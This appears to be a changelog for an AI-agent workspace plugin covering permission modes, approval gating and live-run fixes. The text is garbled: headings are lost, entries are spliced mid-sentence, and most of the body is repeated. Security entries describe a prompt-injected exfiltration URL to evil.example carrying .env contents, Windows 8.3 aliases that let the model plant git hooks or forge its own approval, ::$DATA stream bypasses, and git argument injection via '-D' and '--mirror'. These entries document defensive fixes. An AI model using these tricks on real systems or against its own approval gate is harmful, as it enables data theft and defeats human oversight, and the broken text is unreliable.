CHANGELOG.md
CHANGELOG.md
working-directories/<id> and hands it to every tools provider, so the old "Default workspace path β fallback when the chat has no working directory" never applied: a freshly installed plugin always worked in an empty auto-created folder, and the model correctly reported "the workspace is empty" (found in the first live run of the published plugin alongside context-compressor). The setting is now Workspace path: when set, it wins over that auto-created folder; a working directory you picked for the chat yourself still wins over the setting; blank keeps the previous behaviour. The setting key (defaultWorkspacePath) is unchanged, so a saved value carries over.agentic-workspace/v1 results.working-directories/<id> and hands it to every tools provider, so the old "Default workspace path β fallback when the chat has no working directory" never applied: a freshly installed plugin always worked in an empty auto-created folder, and the model correctly reported "the workspace is empty" (found in the first live run of the published plugin alongside context-compressor). The setting is now Workspace path: when set, it wins over that auto-created folder; a working directory you picked for the chat yourself still wins over the setting; blank keeps the previous behaviour. The setting key (defaultWorkspacePath) is unchanged, so a saved value carries over.agentic-workspace/v1 results.editMode setting (review / safe_auto / all_auto) is removed. Its replacement is the Permission mode slider (permissionMode, 0β2, default 1). Migration: review β 0 (Manual: every mutating call is staged for /accept) or 1 (Plan: approve one plan, then run); safe_auto β 1 (Plan); all_auto β 2 (Auto). Allow destructive commits keeps its meaning in every mode.workspace_agent edit_mode is replaced by commit_edits, which may only lower the default the permission mode sets (Auto / approved Plan: commit; Manual: plan only). commitEdits is part of the run's idempotency specification, so an idempotency_key reused after a mode change that flips that default commit_edits (Manual β Plan/Auto) is rejected as a changed spec.processExecutionEnabled) is now on by default; run/start are gated by the permission mode instead.Permission-mode gating of workspace_edit apply/commit/rollback, workspace_command run/start, workspace_vcs mutating actions, workspace_browser control and workspace_agent run/start. Manual mode stages the operation as a pending_approval envelope carrying an approval_* id and the exact resume call; Plan mode fails with APPROVAL_REQUIRED until a plan is approved.
/accept [id] [note] and /deny [id] [reason] chat commands, handled by the prompt preprocessor, plus a state-aware <agentic-mode> hint on every user message outside Auto mode.
workspace_plan (propose, show, current, complete, list), registered outside Auto mode; plans are stored under .agentic/plans/<plan_id>/plan.md and approval records under .agentic/approvals/state.json (single-use, hash-bound β for transactions also to the before-hash of every touched file β workspace-scoped, 24-hour expiry; reads never rewrite the file).
workspace_notes (write, append, read, list, delete): a scratchpad under .agentic/notes/ and the persistent workspace memory .agentic/MEMORY.md (memory: true or the MEMORY name alias). Never gated.
workspace_vcs init (git init, optional initial branch), gated by the permission mode as a non-destructive mutation.
Windows: npm-generated .cmd shims (npm, npx, tsc, β¦) are resolved to node <script> without a shell; results report resolvedExecutable / resolvedScript.
workspace_inspect capabilities and changes report the permission mode, active/pending plan, pending approvals, plans and notes/memory for recovery after context compression.
APPROVAL_REQUIRED and APPROVAL_DENIED error codes; an approval journal category.
Edit operations reject content / replacement / search that still carry the 12 | gutter of a line-numbered workspace_inspect read; allow_line_numbers: true opts out. The rule is a majority of the non-empty lines, at least two of them, and a run of at least two adjacent lines whose numbers ascend by exactly one β read output is by construction n, n+1, n+2. That leaves leading-pipe markdown tables and any non-monotonic numeric column (descending, sparse, stepped) alone; a genuinely consecutive numeric first column β including a consecutive year column β is indistinguishable from read output and is what allow_line_numbers is for.
A replace that finds zero matches now reports when stripping the 12 | gutter from search would have matched, and how many times. A one-line search is below any threshold the guard can use, so this covers it after the fact; the operation is never silently repaired. The sentence is phrased as a condition to check ("if this text was copied from a workspace_inspect read resultβ¦"), not an instruction to strip and retry: the probe cannot tell a read gutter from a table row (2 | beta) or a match arm (1 | 2 => Foo,), and a model that obeyed the old wording would replace a narrower span than it meant to.
workspace_tasks create and add accept a 1-based position ("1", "2", β¦) in depends_on, naming another item of the same call. No item_ id exists before the call returns, so this is the only way to declare a dependency while creating a board. Forward references are legal; an out-of-range position, a self-reference and a real cycle each fail INVALID_INPUT. update has no batch to index into, so a position there fails with a reference error that says where positions do work, instead of the bare Invalid task item id: 1.
workspace_edit mkdir: a standalone empty-directory operation, transactional like every other one β planned, previewed, committed, and removed again on rollback while it is still the empty directory the plan created. File operations continue to create their parent directories on their own.
workspace_edit list and workspace_inspect changes report directoryCount / directories alongside fileCount / files, so a mkdir-only transaction is no longer listed as one that changed nothing.
workspace_inspect changes lists command jobs (id, status, executable, exitCode, startedAt, most recent first, capped at limit) from .agentic/jobs/, backed by a new ProcessService.list(). The workflow hint had promised job-id recovery with nothing behind it: jobs appeared in neither changes nor overview and could not be enumerated at all, and three models in the live matrix invented job ids instead of recovering one. Like approvals and plans this is the recovery index, not bulk β it reaches retention.facts and is deliberately not declared in omit_when_summarizing.
workspace_research fetch reports data.linksOmitted.
handleInvalidToolRequest only when its second parameter (the parsed request) is defined; both the orchestrator and the live harness ignored that parameter and always returned feedback, so LM Studio logged "Please avoid returning a result when the second parameter of the callback is undefined" and the model got nothing. Seen live in an installed S9 run (Unterminated string in JSON at position 521), after which the next prompt overflowed the window. Feedback is now returned only for a request that parsed; an unparseable one throws, as the SDK's own documented default does, so the failure is recorded with a named cause instead of the run continuing blind.workspace_agent run/start was staged in Manual mode only when the run could execute commands, so a run with allow_web: true and commands disabled started unstaged and used its own web_search / fetch_source β while every direct workspace_research fetch in the same chat was being staged. The gate sits at the run's entry (the run's internal web calls are never seen individually), so Manual now stages whenever the run would have commands or effective web access, and keeps the "nothing to gate" shortcut only for a run that can do neither.AgenticError still carried an absolute host path into plan.failure, the plan summary, review.md, the journal and the model-facing envelope: writeWorkspaceText was hardened, but nothing else a commit calls was. The commit catch now rewrites the workspace root β both separator spellings, case-insensitively on Windows β to <workspace>, and rethrows the scrubbed form so the envelope matches what was persisted.workspace_vcs failure looked like a success. ok was computed only to pick an importance, so git log in a directory that is not a repository returned summary git log β¦ β 128 with that same string as its only fact, while fatal: not a git repository sat in data.stderr β which omit_when_summarizing drops. A non-zero exit now reads β¦ β exit 128 (failed) in both the summary and the first fact (the shape workspace_command already used), and the first line of stderrPreview follows it as a fact so the cause survives compaction. ok stays true: git refusing is not a plugin error.workspace_edit appended its directory and permission-mode facts after the per-file list, whose length is the size of the transaction, so on a 70-file scaffold the compressor's 60-fact cap dropped every directory fact and the mode fact while keeping the 60th file's line counts. The bounded facts are emitted first.fetch_source" and to record with record_research_note β none of which exist when allow_web is false (the model can set it) or web research is off in the config. Research mode now has a no-web variant that works from the workspace and cites paths, the coding mode's web sentence is gated the same way, and a test walks every mode Γ web Γ commands shape asserting the prompt names no tool outside that run's tool list.create onto an existing target names overwrite: true and replace; rewrite / replace / delete against a missing target name create, create_if_missing: true and ignore_missing: true (none of which is discoverable β the operation schema has no per-field describe); rolling back a planned transaction says it changed nothing and can be abandoned; committing a rolled_back one says to preview again; APPROVAL_DENIED says not to re-issue the call unchanged; and an invalid job id says job ids come back from start and look like job_β¦.workspace_inspect's description gave opposite start-of-task orders (memory-then-overview against overview-then-memory). The hint follows the description: overview β memory β read/search. The swap is byte-neutral against the hint ceiling.Maximum command duration called itself a hard upper bound although start with timeout_seconds: 0 bypasses it by design and the job survives a plugin reload; "Additional protected paths" read as confidentiality although the globs block edits only β workspace_inspect read .env returns the secret. Now "Paths the model may not write", with subtitles that say so, and a config test reads both off the schematic. ARCHITECTURE.md, SECURITY.md and README.md are corrected to match.isProtected matched the requested string against the globs while nothing rejected an OS-level alias for the same file, so GIT~1/hooks/pre-commit planted an executable git hook (classified non-destructive, allowed by the gate in Auto mode) and a replace on AGENTI~1/approvals/state.json flipped a staged approval from pending to approved β the model could forge its own /accept. Fixed in two layers: a protection decision is now made on the canonical path (realpath.native of the deepest existing ancestor, with the not-yet-created tail re-attached), and on Windows any path component in the 8.3 shape is refused INVALID_INPUT before that. A long name with a tilde (draft-version~12.md) is not an alias and is unaffected; off Windows GIT~1 is an ordinary directory name and still works.path::$DATA is the file itself but matched no glob that did not end in /**, so delete .env::$DATA deleted a .env protected by protectedPatterns: [".env"], and .env:alt wrote a hidden stream on it. Any path component containing : is now refused INVALID_INPUT on Windows, where the character is never legal in a file name.proposePlan stamped no expiresAt and load() skipped kind === "plan" in the expiry loop, while activePlan() returns the newest approved plan. Ruling: plans expire on the same 24-hour rule as every other record β approvals are workspace-scoped and there is no chat id to scope them with, so a time bound is the closest thing to a session bound the store can express. A record written without expiresAt is dated from createdAt rather than living forever. The <agentic-mode> hint now reports an active plan's age once it is over an hour old (it costs nothing against the hint ceiling: the Manual block is still the longest hint the renderer can emit).plan.failure, the plan summary, the rendered review.md and the envelope the model reads. writeWorkspaceText now wraps its failures the way createDirectories already did: the workspace-relative path and the errno code, nothing about where the workspace lives.workspace_research never called the gate, and with webResearchEnabled on by default and webAllowedDomains blank, the default Plan mode let the model fetch an arbitrary URL before the user had approved anything β a hostile file in the workspace only had to ask for https://evil.example/?k=<contents of .env>. search, fetch and deep now go through applyGate as kind: "web", exactly like browser control: staged in Manual, APPROVAL_REQUIRED in Plan until a plan is approved, allowed in Auto. start, note, show, list and archive touch only local state and stay ungated. The serialized tool-schema budget moved 14215 β 14316 (+101 net: workspace_research +117 for the gate clause, less 16 refunded by workspace_tasks) and the injected-hint budget 2019 β 2037 (+18: web search/fetch joined the MANUAL block's list of gated calls).branch / ref / remote. safeRef permitted a leading dash, so {action:"branch", create:true, branch:"-D", ref:"feature"} built git branch -D feature β a deletion the gate had classified non-destructive, because create: true is not delete: true β and {action:"push", branch:"--mirror"} built git push origin --mirror, force-updating and deleting remote refs with forcedPush false. A ref may no longer start with -, + or : (the last two are the refspec sigils that delete or force-update a remote branch without setting force); : stays legal mid-value, so show with HEAD:src/index.ts still works. remote is validated as a remote name, not a URL: it previously accepted https://evil.example/r.git whole.workspace_inspect read and the sub-agent's read_file returned a single line whenever start_line was past the default window (600 / 400) and end_line was omitted: the default was an absolute min(lineCount, N), which the range clamp then raised to start_line. The default window now follows start_line.workspace_research fetch capped data.links at 200 entries whatever maxToolResultChars was set to, so a link-dense page was paid for in full on the turn before the compressor could drop it. Links now get their own share of the budget β a quarter of maxToolResultChars, at least 1000 characters β which bites at the default 14000 (200 links serialize to about 9800 characters, so the full setting was an inert bound) and caps the envelope at about 1.25x the setting. data.linksOmitted counts what did not fit.create with overwrite: true was classified destructive whether or not the target existed, so with Allow destructive commits off β the default β every create of a new file was refused PROTECTED_PATH, and a 14B model asked to scaffold a project into an empty directory produced nothing at all. It is destructive only when the target already exists, matching the rule the rewrite / copy / move paths already used.rewrite of an existing file β replace; create with overwrite over an existing file β replace or another path), in the gate message and in the sub-agent's blocked-commit summary. Naming only the setting left the model with nothing to change.workspace_command run with timeout_seconds: 0 was refused with a message that described only what start does with a zero; two models in the live matrix never found the repair for run and one repeated the identical call three times. The message now names both: omit timeout_seconds (the configured maximum applies) or pass a positive number for run, or use start for a background job.The idempotency key was already used with different edit operations. was a dead end β a 1.7B run reused one constant key for every apply and looped until its context ran out. The message now says to use a new idempotency_key, or omit it, for a different set of operations.workspace_plan complete on a plan the user had not accepted returned TRANSACTION_STATE describing the state but not the only available move; a 1.7B run spent 8 of its 13 rounds alternating complete and show. Both the store and the tool now say the plan is awaiting the user's /accept, that nothing runs until then, and that the model should stop and report the plan id. The code is unchanged.stripLineNumberGutter accepted only a space after the pipe while NUMBERED_LINE tolerates a tab on either side, so a tab-separated 1\t|\ta was recognised as line-numbered but stripped to \ta, making the zero-match hint quote text that was still wrong by a tab.workspace_notes' description no longer omits that it is never gated: the injected <agentic-mode> block tells the model every mutating call is staged, and notes is the one mutating tool the gate never sees, so a Manual-mode model could stop to ask before writing a note.commands, filesRead and notes but accumulated transactions and filesChanged without limit, and rendered both lists unsliced into every pass prompt. Both are capped (50 / 100) and every accumulating prompt section is now a tail that says how much it hides.Failed to parse arguments for tool "X": [ β the SDK puts the whole zod complaint on later lines, and both the sub-agent orchestrator and the live harness took the first line. The field, expected type and message now survive.workspace_command's description said "timeout_seconds 0 keeps a background job running" with run as the nearest antecedent, but run refuses timeout_seconds: 0; it now names start.EXECUTABLE_DENIED lists the allowlist, says only the user can extend it, and tells the model not to retry the same command (14 identical retries observed live); a replace whose search matches nothing tells the model to re-read the file and copy the current text (15 identical retries observed), and one that matches too often names the expected_matches repair.delete with ignore_missing on a file that does not exist is no longer listed among a plan's destructive causes β it removes nothing, and the clause would have asserted a removal that never happens.run_command in its loop sentence even when the run had no run_command tool (Manual mode, or agentCommandsEnabled off).workspace_inspect's description claimed it "never writes"; read, list, overview, search, semantic_search and changes all persist artifacts under .agentic/artifacts/ when compacted.Allow destructive commits as well as the allowDestructiveEdits key, in the gate, the sub-agent's state sentence and its blocked-commit summary.package.json now reads "license": "SEE LICENSE IN LICENSE"). Free for personal use and for internal professional or business use; embedding it in a paid product or service needs a separate commercial agreement. No Hub revision was ever published under MIT, so no prior grant survives the change and the license text carries no note about one.0.3.0, with a Hub description that fits under the plugin card's ~180-character truncation point and names no other product..lmsignore decides what lms push and lms dev --install upload. LM Studio reads exactly one ignore file β that one when it exists, .gitignore otherwise, never .npmignore β so it repeats every .gitignore pattern and adds tests/ and the live-harness source, taking the artifact from 160 tracked files to 94. live/results/ still ships, because the README cites those files by name. .npmignore looked like it controlled packaging, controlled nothing, and is deleted.src/config.ts by a test and compared cell by cell, so a changed default cannot drift out of the docs.INDEPENDENT_IMPLEMENTATION.md and REFERENCE_AUDIT.md are deleted, the third-party tool mapping table is gone from CAPABILITY_MATRIX.md, and no shipped file names or credits another product. tests/docs.test.ts scans every .md/.ts/.json file in the tree for the banned phrases.ROADMAP.md names the thirteen items 0.3.0 deliberately leaves out, each with its reason β including the two that are behavioural limits rather than missing features: POSIX has no process-group kill (Windows uses taskkill /T /F), and a grandchild holding the inherited stdio keeps close from firing.RELEASE_VALIDATION.md and STATUS.md are rewritten around what actually ran, and every doc that states a version states 0.3.0. The compressor pairing is stated as context-compressor 0.7.0+, with the approvals-aware protocol landing in the compressor release that accompanies this one.# agentic-workspace live run; the eight committed result files were regenerated from their JSON rather than edited.workspace_vcs push with force: true (sent as --force-with-lease) is classified destructive and requires Allow destructive commits.workspace_research deep runs always start with commit_edits=false and allow_commands=false./accept, and the ids to cite.tests/descriptions.test.ts now holds that as a budget, because the whole block is re-sent on every turn and a 27B model at 8192 context already overflowed with it.workspace_command cancel on a job that already finished says so in the summary and in retention.facts instead of reading like a successful cancellation.allowDestructiveEdits names the attempted command and that setting instead of "destructive commits are disabled in plugin settings", and for checkout, branch --delete and a forced push it names the non-destructive alternative.<agentic-mode> block's Manual-mode list of pending approvals reads Pending, newest first (bare /accept takes the first): β¦. approve(undefined) takes the newest record, and with more than one waiting a bare /accept otherwise decides the wrong one; saying so is what lets the model report the id the user should name.<agentic-mode> block (pending approvals, the pending or approved plan) are clipped to 60 bytes. approvalStore caps a title at 300 characters and the block lists five, so an unclipped Manual-mode hint reached about 2.1 KB against a 1.8 KB "budget" that only ever measured a 36-character test fixture; tests/descriptions.test.ts now measures the worst case the renderer can emit β with ids the same 34-character length createId("approval") produces, which a first measurement got wrong by 75 bytes β and HINT_BUDGET_BYTES (2019) is a ceiling rather than a template ratchet.puppeteer-core, including request interception through the web network policy.coding, research, and general, with optional web access, To-Do linking, research linking, source tracking, and generated research reports.workspace_inspect overview/changes/capabilities to expose transactions, runs, task boards, research projects, active modules, and recovery paths. (This note also claimed jobs; they were not actually listed until 0.3.0 β see the changes entry there.)agentic-workspace/v1 retention contract for native context-compressor 0.6.0 integration.finish_run exactly at the configured limit.editMode setting (review / safe_auto / all_auto) is removed. Its replacement is the Permission mode slider (permissionMode, 0β2, default 1). Migration: review β 0 (Manual: every mutating call is staged for /accept) or 1 (Plan: approve one plan, then run); safe_auto β 1 (Plan); all_auto β 2 (Auto). Allow destructive commits keeps its meaning in every mode.workspace_agent edit_mode is replaced by commit_edits, which may only lower the default the permission mode sets (Auto / approved Plan: commit; Manual: plan only). commitEdits is part of the run's idempotency specification, so an idempotency_key reused after a mode change that flips that default commit_edits (Manual β Plan/Auto) is rejected as a changed spec.processExecutionEnabled) is now on by default; run/start are gated by the permission mode instead.Permission-mode gating of workspace_edit apply/commit/rollback, workspace_command run/start, workspace_vcs mutating actions, workspace_browser control and workspace_agent run/start. Manual mode stages the operation as a pending_approval envelope carrying an approval_* id and the exact resume call; Plan mode fails with APPROVAL_REQUIRED until a plan is approved.
/accept [id] [note] and /deny [id] [reason] chat commands, handled by the prompt preprocessor, plus a state-aware <agentic-mode> hint on every user message outside Auto mode.
workspace_plan (propose, show, current, complete, list), registered outside Auto mode; plans are stored under .agentic/plans/<plan_id>/plan.md and approval records under .agentic/approvals/state.json (single-use, hash-bound β for transactions also to the before-hash of every touched file β workspace-scoped, 24-hour expiry; reads never rewrite the file).
workspace_notes (write, append, read, list, delete): a scratchpad under .agentic/notes/ and the persistent workspace memory .agentic/MEMORY.md (memory: true or the MEMORY name alias). Never gated.
workspace_vcs init (git init, optional initial branch), gated by the permission mode as a non-destructive mutation.
Windows: npm-generated .cmd shims (npm, npx, tsc, β¦) are resolved to node <script> without a shell; results report resolvedExecutable / resolvedScript.
workspace_inspect capabilities and changes report the permission mode, active/pending plan, pending approvals, plans and notes/memory for recovery after context compression.
APPROVAL_REQUIRED and APPROVAL_DENIED error codes; an approval journal category.
Edit operations reject content / replacement / search that still carry the 12 | gutter of a line-numbered workspace_inspect read; allow_line_numbers: true opts out. The rule is a majority of the non-empty lines, at least two of them, and a run of at least two adjacent lines whose numbers ascend by exactly one β read output is by construction n, n+1, n+2. That leaves leading-pipe markdown tables and any non-monotonic numeric column (descending, sparse, stepped) alone; a genuinely consecutive numeric first column β including a consecutive year column β is indistinguishable from read output and is what allow_line_numbers is for.
A replace that finds zero matches now reports when stripping the 12 | gutter from search would have matched, and how many times. A one-line search is below any threshold the guard can use, so this covers it after the fact; the operation is never silently repaired. The sentence is phrased as a condition to check ("if this text was copied from a workspace_inspect read resultβ¦"), not an instruction to strip and retry: the probe cannot tell a read gutter from a table row (2 | beta) or a match arm (1 | 2 => Foo,), and a model that obeyed the old wording would replace a narrower span than it meant to.
workspace_tasks create and add accept a 1-based position ("1", "2", β¦) in depends_on, naming another item of the same call. No item_ id exists before the call returns, so this is the only way to declare a dependency while creating a board. Forward references are legal; an out-of-range position, a self-reference and a real cycle each fail INVALID_INPUT. update has no batch to index into, so a position there fails with a reference error that says where positions do work, instead of the bare Invalid task item id: 1.
workspace_edit mkdir: a standalone empty-directory operation, transactional like every other one β planned, previewed, committed, and removed again on rollback while it is still the empty directory the plan created. File operations continue to create their parent directories on their own.
workspace_edit list and workspace_inspect changes report directoryCount / directories alongside fileCount / files, so a mkdir-only transaction is no longer listed as one that changed nothing.
workspace_inspect changes lists command jobs (id, status, executable, exitCode, startedAt, most recent first, capped at limit) from .agentic/jobs/, backed by a new ProcessService.list(). The workflow hint had promised job-id recovery with nothing behind it: jobs appeared in neither changes nor overview and could not be enumerated at all, and three models in the live matrix invented job ids instead of recovering one. Like approvals and plans this is the recovery index, not bulk β it reaches retention.facts and is deliberately not declared in omit_when_summarizing.
workspace_research fetch reports data.linksOmitted.
handleInvalidToolRequest only when its second parameter (the parsed request) is defined; both the orchestrator and the live harness ignored that parameter and always returned feedback, so LM Studio logged "Please avoid returning a result when the second parameter of the callback is undefined" and the model got nothing. Seen live in an installed S9 run (Unterminated string in JSON at position 521), after which the next prompt overflowed the window. Feedback is now returned only for a request that parsed; an unparseable one throws, as the SDK's own documented default does, so the failure is recorded with a named cause instead of the run continuing blind.workspace_agent run/start was staged in Manual mode only when the run could execute commands, so a run with allow_web: true and commands disabled started unstaged and used its own web_search / fetch_source β while every direct workspace_research fetch in the same chat was being staged. The gate sits at the run's entry (the run's internal web calls are never seen individually), so Manual now stages whenever the run would have commands or effective web access, and keeps the "nothing to gate" shortcut only for a run that can do neither.AgenticError still carried an absolute host path into plan.failure, the plan summary, review.md, the journal and the model-facing envelope: writeWorkspaceText was hardened, but nothing else a commit calls was. The commit catch now rewrites the workspace root β both separator spellings, case-insensitively on Windows β to <workspace>, and rethrows the scrubbed form so the envelope matches what was persisted.workspace_vcs failure looked like a success. ok was computed only to pick an importance, so git log in a directory that is not a repository returned summary git log β¦ β 128 with that same string as its only fact, while fatal: not a git repository sat in data.stderr β which omit_when_summarizing drops. A non-zero exit now reads β¦ β exit 128 (failed) in both the summary and the first fact (the shape workspace_command already used), and the first line of stderrPreview follows it as a fact so the cause survives compaction. ok stays true: git refusing is not a plugin error.workspace_edit appended its directory and permission-mode facts after the per-file list, whose length is the size of the transaction, so on a 70-file scaffold the compressor's 60-fact cap dropped every directory fact and the mode fact while keeping the 60th file's line counts. The bounded facts are emitted first.fetch_source" and to record with record_research_note β none of which exist when allow_web is false (the model can set it) or web research is off in the config. Research mode now has a no-web variant that works from the workspace and cites paths, the coding mode's web sentence is gated the same way, and a test walks every mode Γ web Γ commands shape asserting the prompt names no tool outside that run's tool list.create onto an existing target names overwrite: true and replace; rewrite / replace / delete against a missing target name create, create_if_missing: true and ignore_missing: true (none of which is discoverable β the operation schema has no per-field describe); rolling back a planned transaction says it changed nothing and can be abandoned; committing a rolled_back one says to preview again; APPROVAL_DENIED says not to re-issue the call unchanged; and an invalid job id says job ids come back from start and look like job_β¦.workspace_inspect's description gave opposite start-of-task orders (memory-then-overview against overview-then-memory). The hint follows the description: overview β memory β read/search. The swap is byte-neutral against the hint ceiling.Maximum command duration called itself a hard upper bound although start with timeout_seconds: 0 bypasses it by design and the job survives a plugin reload; "Additional protected paths" read as confidentiality although the globs block edits only β workspace_inspect read .env returns the secret. Now "Paths the model may not write", with subtitles that say so, and a config test reads both off the schematic. ARCHITECTURE.md, SECURITY.md and README.md are corrected to match.isProtected matched the requested string against the globs while nothing rejected an OS-level alias for the same file, so GIT~1/hooks/pre-commit planted an executable git hook (classified non-destructive, allowed by the gate in Auto mode) and a replace on AGENTI~1/approvals/state.json flipped a staged approval from pending to approved β the model could forge its own /accept. Fixed in two layers: a protection decision is now made on the canonical path (realpath.native of the deepest existing ancestor, with the not-yet-created tail re-attached), and on Windows any path component in the 8.3 shape is refused INVALID_INPUT before that. A long name with a tilde (draft-version~12.md) is not an alias and is unaffected; off Windows GIT~1 is an ordinary directory name and still works.path::$DATA is the file itself but matched no glob that did not end in /**, so delete .env::$DATA deleted a .env protected by protectedPatterns: [".env"], and .env:alt wrote a hidden stream on it. Any path component containing : is now refused INVALID_INPUT on Windows, where the character is never legal in a file name.proposePlan stamped no expiresAt and load() skipped kind === "plan" in the expiry loop, while activePlan() returns the newest approved plan. Ruling: plans expire on the same 24-hour rule as every other record β approvals are workspace-scoped and there is no chat id to scope them with, so a time bound is the closest thing to a session bound the store can express. A record written without expiresAt is dated from createdAt rather than living forever. The <agentic-mode> hint now reports an active plan's age once it is over an hour old (it costs nothing against the hint ceiling: the Manual block is still the longest hint the renderer can emit).plan.failure, the plan summary, the rendered review.md and the envelope the model reads. writeWorkspaceText now wraps its failures the way createDirectories already did: the workspace-relative path and the errno code, nothing about where the workspace lives.workspace_research never called the gate, and with webResearchEnabled on by default and webAllowedDomains blank, the default Plan mode let the model fetch an arbitrary URL before the user had approved anything β a hostile file in the workspace only had to ask for https://evil.example/?k=<contents of .env>. search, fetch and deep now go through applyGate as kind: "web", exactly like browser control: staged in Manual, APPROVAL_REQUIRED in Plan until a plan is approved, allowed in Auto. start, note, show, list and archive touch only local state and stay ungated. The serialized tool-schema budget moved 14215 β 14316 (+101 net: workspace_research +117 for the gate clause, less 16 refunded by workspace_tasks) and the injected-hint budget 2019 β 2037 (+18: web search/fetch joined the MANUAL block's list of gated calls).branch / ref / remote. safeRef permitted a leading dash, so {action:"branch", create:true, branch:"-D", ref:"feature"} built git branch -D feature β a deletion the gate had classified non-destructive, because create: true is not delete: true β and {action:"push", branch:"--mirror"} built git push origin --mirror, force-updating and deleting remote refs with forcedPush false. A ref may no longer start with -, + or : (the last two are the refspec sigils that delete or force-update a remote branch without setting force); : stays legal mid-value, so show with HEAD:src/index.ts still works. remote is validated as a remote name, not a URL: it previously accepted https://evil.example/r.git whole.workspace_inspect read and the sub-agent's read_file returned a single line whenever start_line was past the default window (600 / 400) and end_line was omitted: the default was an absolute min(lineCount, N), which the range clamp then raised to start_line. The default window now follows start_line.workspace_research fetch capped data.links at 200 entries whatever maxToolResultChars was set to, so a link-dense page was paid for in full on the turn before the compressor could drop it. Links now get their own share of the budget β a quarter of maxToolResultChars, at least 1000 characters β which bites at the default 14000 (200 links serialize to about 9800 characters, so the full setting was an inert bound) and caps the envelope at about 1.25x the setting. data.linksOmitted counts what did not fit.create with overwrite: true was classified destructive whether or not the target existed, so with Allow destructive commits off β the default β every create of a new file was refused PROTECTED_PATH, and a 14B model asked to scaffold a project into an empty directory produced nothing at all. It is destructive only when the target already exists, matching the rule the rewrite / copy / move paths already used.rewrite of an existing file β replace; create with overwrite over an existing file β replace or another path), in the gate message and in the sub-agent's blocked-commit summary. Naming only the setting left the model with nothing to change.workspace_command run with timeout_seconds: 0 was refused with a message that described only what start does with a zero; two models in the live matrix never found the repair for run and one repeated the identical call three times. The message now names both: omit timeout_seconds (the configured maximum applies) or pass a positive number for run, or use start for a background job.The idempotency key was already used with different edit operations. was a dead end β a 1.7B run reused one constant key for every apply and looped until its context ran out. The message now says to use a new idempotency_key, or omit it, for a different set of operations.workspace_plan complete on a plan the user had not accepted returned TRANSACTION_STATE describing the state but not the only available move; a 1.7B run spent 8 of its 13 rounds alternating complete and show. Both the store and the tool now say the plan is awaiting the user's /accept, that nothing runs until then, and that the model should stop and report the plan id. The code is unchanged.stripLineNumberGutter accepted only a space after the pipe while NUMBERED_LINE tolerates a tab on either side, so a tab-separated 1\t|\ta was recognised as line-numbered but stripped to \ta, making the zero-match hint quote text that was still wrong by a tab.workspace_notes' description no longer omits that it is never gated: the injected <agentic-mode> block tells the model every mutating call is staged, and notes is the one mutating tool the gate never sees, so a Manual-mode model could stop to ask before writing a note.commands, filesRead and notes but accumulated transactions and filesChanged without limit, and rendered both lists unsliced into every pass prompt. Both are capped (50 / 100) and every accumulating prompt section is now a tail that says how much it hides.Failed to parse arguments for tool "X": [ β the SDK puts the whole zod complaint on later lines, and both the sub-agent orchestrator and the live harness took the first line. The field, expected type and message now survive.workspace_command's description said "timeout_seconds 0 keeps a background job running" with run as the nearest antecedent, but run refuses timeout_seconds: 0; it now names start.EXECUTABLE_DENIED lists the allowlist, says only the user can extend it, and tells the model not to retry the same command (14 identical retries observed live); a replace whose search matches nothing tells the model to re-read the file and copy the current text (15 identical retries observed), and one that matches too often names the expected_matches repair.delete with ignore_missing on a file that does not exist is no longer listed among a plan's destructive causes β it removes nothing, and the clause would have asserted a removal that never happens.run_command in its loop sentence even when the run had no run_command tool (Manual mode, or agentCommandsEnabled off).workspace_inspect's description claimed it "never writes"; read, list, overview, search, semantic_search and changes all persist artifacts under .agentic/artifacts/ when compacted.Allow destructive commits as well as the allowDestructiveEdits key, in the gate, the sub-agent's state sentence and its blocked-commit summary.package.json now reads "license": "SEE LICENSE IN LICENSE"). Free for personal use and for internal professional or business use; embedding it in a paid product or service needs a separate commercial agreement. No Hub revision was ever published under MIT, so no prior grant survives the change and the license text carries no note about one.0.3.0, with a Hub description that fits under the plugin card's ~180-character truncation point and names no other product..lmsignore decides what lms push and lms dev --install upload. LM Studio reads exactly one ignore file β that one when it exists, .gitignore otherwise, never .npmignore β so it repeats every .gitignore pattern and adds tests/ and the live-harness source, taking the artifact from 160 tracked files to 94. live/results/ still ships, because the README cites those files by name. .npmignore looked like it controlled packaging, controlled nothing, and is deleted.src/config.ts by a test and compared cell by cell, so a changed default cannot drift out of the docs.INDEPENDENT_IMPLEMENTATION.md and REFERENCE_AUDIT.md are deleted, the third-party tool mapping table is gone from CAPABILITY_MATRIX.md, and no shipped file names or credits another product. tests/docs.test.ts scans every .md/.ts/.json file in the tree for the banned phrases.ROADMAP.md names the thirteen items 0.3.0 deliberately leaves out, each with its reason β including the two that are behavioural limits rather than missing features: POSIX has no process-group kill (Windows uses taskkill /T /F), and a grandchild holding the inherited stdio keeps close from firing.RELEASE_VALIDATION.md and STATUS.md are rewritten around what actually ran, and every doc that states a version states 0.3.0. The compressor pairing is stated as context-compressor 0.7.0+, with the approvals-aware protocol landing in the compressor release that accompanies this one.# agentic-workspace live run; the eight committed result files were regenerated from their JSON rather than edited.workspace_vcs push with force: true (sent as --force-with-lease) is classified destructive and requires Allow destructive commits.workspace_research deep runs always start with commit_edits=false and allow_commands=false./accept, and the ids to cite.tests/descriptions.test.ts now holds that as a budget, because the whole block is re-sent on every turn and a 27B model at 8192 context already overflowed with it.workspace_command cancel on a job that already finished says so in the summary and in retention.facts instead of reading like a successful cancellation.allowDestructiveEdits names the attempted command and that setting instead of "destructive commits are disabled in plugin settings", and for checkout, branch --delete and a forced push it names the non-destructive alternative.<agentic-mode> block's Manual-mode list of pending approvals reads Pending, newest first (bare /accept takes the first): β¦. approve(undefined) takes the newest record, and with more than one waiting a bare /accept otherwise decides the wrong one; saying so is what lets the model report the id the user should name.<agentic-mode> block (pending approvals, the pending or approved plan) are clipped to 60 bytes. approvalStore caps a title at 300 characters and the block lists five, so an unclipped Manual-mode hint reached about 2.1 KB against a 1.8 KB "budget" that only ever measured a 36-character test fixture; tests/descriptions.test.ts now measures the worst case the renderer can emit β with ids the same 34-character length createId("approval") produces, which a first measurement got wrong by 75 bytes β and HINT_BUDGET_BYTES (2019) is a ceiling rather than a template ratchet.puppeteer-core, including request interception through the web network policy.coding, research, and general, with optional web access, To-Do linking, research linking, source tracking, and generated research reports.workspace_inspect overview/changes/capabilities to expose transactions, runs, task boards, research projects, active modules, and recovery paths. (This note also claimed jobs; they were not actually listed until 0.3.0 β see the changes entry there.)agentic-workspace/v1 retention contract for native context-compressor 0.6.0 integration.finish_run exactly at the configured limit.